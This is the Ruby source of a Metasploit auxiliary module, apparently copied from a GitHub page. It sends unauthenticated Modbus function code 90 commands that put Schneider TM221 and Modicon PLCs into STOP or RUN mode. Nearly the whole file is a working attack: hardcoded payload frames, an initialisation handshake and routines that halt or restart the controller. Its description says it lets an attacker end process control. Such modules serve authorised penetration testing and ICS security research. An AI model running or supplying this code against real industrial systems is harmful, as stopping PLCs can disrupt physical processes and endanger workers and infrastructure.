Permalink
Switch branches/tags
Nothing to show
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
246 lines (228 sloc) 7.7 KB
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Rex::Socket::Tcp
def initialize(info = {})
super(update_info(info,
'Name' => 'Schneider Remote START/STOP Command',
'Description' => %q{
The Schneider with SoMachine Basic or Unity series of PLCs use Modbus function
code 90 (0x5a) to perform administrative commands without authentication.
This module allows a remote user to change the state of the PLC between
STOP and RUN, allowing an attacker to end process control by the PLC.
This module is based on the original 'modiconstop.rb' Basecamp module from
DigitalBond.
},
'Author' =>
[
'K. Reid Wightman <wightman[at]digitalbond.com>', # original module
'todb', # Metasploit fixups
'Alexandrine Torrents <alexandrine.torrents[at]gmail.com>' # new module for Schneider TM221
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ]
],
'DisclosureDate' => 'Apr 5 2012'
))
register_options(
[
OptEnum.new("MODE", [true, 'PLC command', "STOP",
[
"STOP",
"RUN"
]
]),
Opt::RPORT(502)
], self.class)
end
# this is used for building a Modbus frame
# just prepends the payload with a modbus header
def makeframe(packetdata)
if packetdata.size > 255
print_error("packet too large, sorry")
print_error("Offending packet: " + packetdata)
return
end
payload = ""
payload += [@modbuscounter].pack("n")
payload += "\x00\x00\x00" #dunno what these are
payload += [packetdata.size].pack("c") # size byte
payload += packetdata
end
# a wrapper just to be sure we increment the counter
def sendframe(payload)
sock.put(payload)
@modbuscounter += 1
r = sock.recv(65535, 0.1) # XXX: All I care is that we wait for a packet to come in, but I'd like to minimize the wait time and also minimize OS buffer use. What to do?
return r
end
def stop_TM221
payload = "\x01\x5a\xc9\x41\xff\x00"
sendframe(makeframe(payload))
end
def start_TM221
payload2 = "\x00\x75\x01\x82\x00\x00\x01\x01\x02"
payload = "\x01\x5a\xc9\x40\xff\x00"
sendframe(makeframe(payload))
sendframe(makeframe(payload2))
end
# This function sends some initialization requests
# I have no idea what these do, but they seem to be
# needed to get the Modicon chatty with us.
# I would make some analogy to 'gaming' in the
# bar-dating scene, but I'll refrain.
def init_modicon
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x03\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x01\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x0a\x00"
(0..0xf9).each { |x| payload += [x].pack("c") }
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f"
payload += "USER-714E74F21B" # Yep, really
#payload += "META-SPLOITMETA"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x50\x15\x00\x01\x07"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x12"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x02"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00"
sendframe(makeframe(payload))
end
def stop_modicon
payload = "\x00\x5a\x01\x41\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
def start_modicon
payload = "\x00\x5a\x01\x40\xff\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\x01\x04"
sendframe(makeframe(payload))
end
def logout_modicon
payload = "\x00\x5a\00\x58\x02\x01\x00\x00\x00\x00\x00\x00\x00"
sendframe(makeframe(payload))
payload = "\x00\x5a\01\x11"
sendframe(makeframe(payload))
end
def stop
print_status("Sending initialization requests ...")
payload = "\x01\x5a\x00\x02"
api = sendframe(makeframe(payload))
if api.nil?
print_error("No answer from PLC")
else
print_good("PLC model : " + api[33..44].to_s)
if api[33..35] == "TM2"
print_good("Stopping TM221")
stop_TM221
elsif api[33..35] == "BMX"
print_good("Stopping Modicon")
init_modicon
stop_modicon
logout_modicon
else
print_error("PLC not recognized")
end
end
end
def start
print_status("Sending initialization requests ...")
payload = "\x01\x5a\x00\x02"
api = sendframe(makeframe(payload))
if api.nil?
print_error("No answer from PLC")
else
print_good("PLC model : " + api[33..44].to_s)
if api[33..35] == "TM2"
print_good("Starting TM221")
start_TM221
elsif api[33..35] == "BMX"
print_good("Starting Modicon")
init_modicon
start_modicon
logout_modicon
else
print_error("PLC not recognized")
end
end
end
def run
@modbuscounter = 0x0000 # used for modbus frames
connect
case datastore['MODE']
when "STOP"
stop
when "RUN"
start
else
print_error("Invalid MODE")
return
end
end
end